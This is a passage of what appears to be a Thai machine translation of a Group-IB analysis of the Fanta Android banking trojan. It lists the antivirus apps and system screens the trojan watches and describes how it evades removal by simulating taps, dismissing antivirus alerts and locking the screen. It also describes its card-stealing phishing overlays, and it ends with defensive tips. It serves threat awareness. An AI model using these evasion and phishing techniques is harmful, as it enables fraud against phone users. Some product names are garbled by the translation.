· เมื่อเปิดหน้า "แอปพลิเคชัน", "การกู้คืนและรีเซ็ต", "รีเซ็ตข้อมูล", "รีเซ็ตการตั้งค่า", "แผงนักพัฒนา", "พิเศษ โอกาส”, “โอกาสพิเศษ”, “สิทธิพิเศษ”
· หากกิจกรรมถูกสร้างขึ้นโดยแอปพลิเคชันบางตัวรายการแอปพลิเคชัน
- หุ่นยนต์
- มาสเตอร์ไลท์
- ทำความสะอาดปริญญาโท
- ทำความสะอาด Master สำหรับซีพียู x86
- การจัดการสิทธิ์แอปพลิเคชัน Meizu
- ความปลอดภัยของ MIUI
- Clean Master - แอนติไวรัส & แคชและตัวล้างขยะ
- การควบคุมโดยผู้ปกครองและ GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock และความปลอดภัยบนเว็บเบต้า
- โปรแกรมกำจัดไวรัส, แอนตี้ไวรัส, ตัวล้าง (ความปลอดภัยสูงสุด)
- โปรแกรมป้องกันไวรัสบนมือถือ PRO
- โปรแกรมป้องกันไวรัส Avast และการป้องกันฟรี 2019
- การรักษาความปลอดภัยมือถือ MegaFon
- การป้องกัน AVG สำหรับ Xperia
- การรักษาความปลอดภัยมือถือ
- Malwarebytes แอนตี้ไวรัสและการป้องกัน
- แอนติไวรัสสำหรับ Android 2019
- ผู้เชี่ยวชาญด้านความปลอดภัย - แอนตี้ไวรัส, VPN, AppLock, บูสเตอร์
- โปรแกรมป้องกันไวรัส AVG สำหรับตัวจัดการระบบแท็บเล็ต Huawei
- การเข้าถึงของซัมซุง
- ซัมซุงสมาร์ทเมเนเจอร์
- ผู้เชี่ยวชาญด้านความปลอดภัย
- เร่งความเร็ว
- ดร. เว็บ
- Dr. Web Security Space
- Dr.Web ศูนย์ควบคุมมือถือ
- Dr.Web Security สเปซไลฟ์
- Dr.Web ศูนย์ควบคุมมือถือ
- แอนตี้ไวรัสและความปลอดภัยบนมือถือ
- Kaspersky Internet Security: การป้องกันไวรัสและการป้องกัน
- อายุการใช้งานแบตเตอรี่ Kaspersky: Saver & Booster
- Kaspersky Endpoint Security - การป้องกันและการจัดการ
- AVG Antivirus ฟรี 2019 – การป้องกันสำหรับ Android
- ป้องกันไวรัส Android
- Norton Mobile Security และ Antivirus
- แอนตี้ไวรัส, ไฟร์วอลล์, VPN, ความปลอดภัยบนมือถือ
- ความปลอดภัยบนมือถือ: โปรแกรมป้องกันไวรัส, VPN, การป้องกันการโจรกรรม
- โปรแกรมป้องกันไวรัสสำหรับ Android
- หากมีการขออนุญาตเมื่อส่งข้อความ SMS ไปยังหมายเลขสั้นๆ แฟนต้าจะจำลองการคลิกที่ช่องทำเครื่องหมาย จำทางเลือก และปุ่ม ที่จะส่ง.
- เมื่อคุณพยายามที่จะเอาสิทธิ์ของผู้ดูแลระบบออกจากโทรจัน มันจะล็อคหน้าจอโทรศัพท์
- ป้องกันการเพิ่มผู้ดูแลระบบใหม่
- หากเป็นโปรแกรมป้องกันไวรัส ดร.เว็บ ตรวจพบภัยคุกคาม แฟนต้า เลียนแบบการกดปุ่ม ไม่สนใจ.
- โทรจันจำลองการกดปุ่มย้อนกลับและปุ่มโฮมหากแอปพลิเคชันสร้างเหตุการณ์ การดูแลอุปกรณ์ซัมซุง.
- Fanta สร้างหน้าต่างฟิชชิ่งพร้อมแบบฟอร์มสำหรับการป้อนข้อมูลเกี่ยวกับบัตรธนาคาร หากมีการเปิดตัวแอปพลิเคชันจากรายการบริการอินเทอร์เน็ตที่แตกต่างกันประมาณ 30 รายการ ในหมู่พวกเขา: AliExpress, การจอง, Avito, ส่วนประกอบตลาด Google Play, Pandao, Drom Auto ฯลฯ
แบบฟอร์มฟิชชิ่ง
แฟนต้าวิเคราะห์ว่าแอปพลิเคชั่นใดที่ทำงานบนอุปกรณ์ที่ติดไวรัส หากมีการเปิดแอปพลิเคชันที่สนใจ โทรจันจะแสดงหน้าต่างฟิชชิ่งที่ด้านบนของหน้าต่างอื่นๆ ทั้งหมด ซึ่งเป็นแบบฟอร์มสำหรับการป้อนข้อมูลบัตรธนาคาร ผู้ใช้จะต้องป้อนข้อมูลต่อไปนี้:
- หมายเลขบัตร
- วันหมดอายุของบัตร
- CVV
- ชื่อผู้ถือบัตร (ไม่ใช่สำหรับทุกธนาคาร)
หน้าต่างฟิชชิ่งต่างๆ จะปรากฏขึ้น ทั้งนี้ขึ้นอยู่กับแอปพลิเคชันที่ทำงานอยู่ ด้านล่างนี้เป็นตัวอย่างบางส่วน:
AliExpress:
อาวีโต้:
สำหรับการใช้งานอื่นๆ เช่น Google Play Market, Aviasales, Pandao, การจอง, Trivago:
มันเป็นอย่างไรจริงๆ
โชคดีที่ผู้ที่ได้รับข้อความ SMS ที่อธิบายไว้ตอนต้นของบทความกลายเป็นผู้เชี่ยวชาญด้านความปลอดภัยทางไซเบอร์ ดังนั้นเวอร์ชันจริงที่ไม่ใช่ของผู้กำกับจึงแตกต่างจากเวอร์ชันที่บอกไว้ก่อนหน้านี้: บุคคลหนึ่งได้รับ SMS ที่น่าสนใจ หลังจากนั้นเขาก็มอบให้กับทีมข่าวกรองการตามล่าภัยคุกคาม Group-IB ผลลัพธ์ของการโจมตีคือบทความนี้ จบแบบแฮปปี้ใช่ไหม? อย่างไรก็ตาม ไม่ใช่ว่าเรื่องราวทั้งหมดจะจบลงอย่างประสบความสำเร็จ และเพื่อที่คุณจะได้ไม่ดูเหมือนเป็นผู้กำกับที่เสียเงินไป ในกรณีส่วนใหญ่ ก็เพียงพอที่จะปฏิบัติตามกฎที่อธิบายไว้อย่างยาวนานต่อไปนี้:
- อย่าติดตั้งแอปพลิเคชันสำหรับอุปกรณ์มือถือที่มีระบบปฏิบัติการ Android จากแหล่งอื่นนอกเหนือจาก Google Play
- เมื่อติดตั้งแอปพลิเคชัน ให้ใส่ใจเป็นพิเศษกับสิทธิ์ที่แอปพลิเคชันร้องขอ
- ให้ความสนใจกับนามสกุลของไฟล์ที่ดาวน์โหลด
- ติดตั้งการอัปเดตระบบปฏิบัติการ Android เป็นประจำ
- อย่าเยี่ยมชมแหล่งข้อมูลที่น่าสงสัยและอย่าดาวน์โหลดไฟล์จากที่นั่น
- อย่าคลิกลิงก์ที่ได้รับในข้อความ SMS
ที่มา: will.com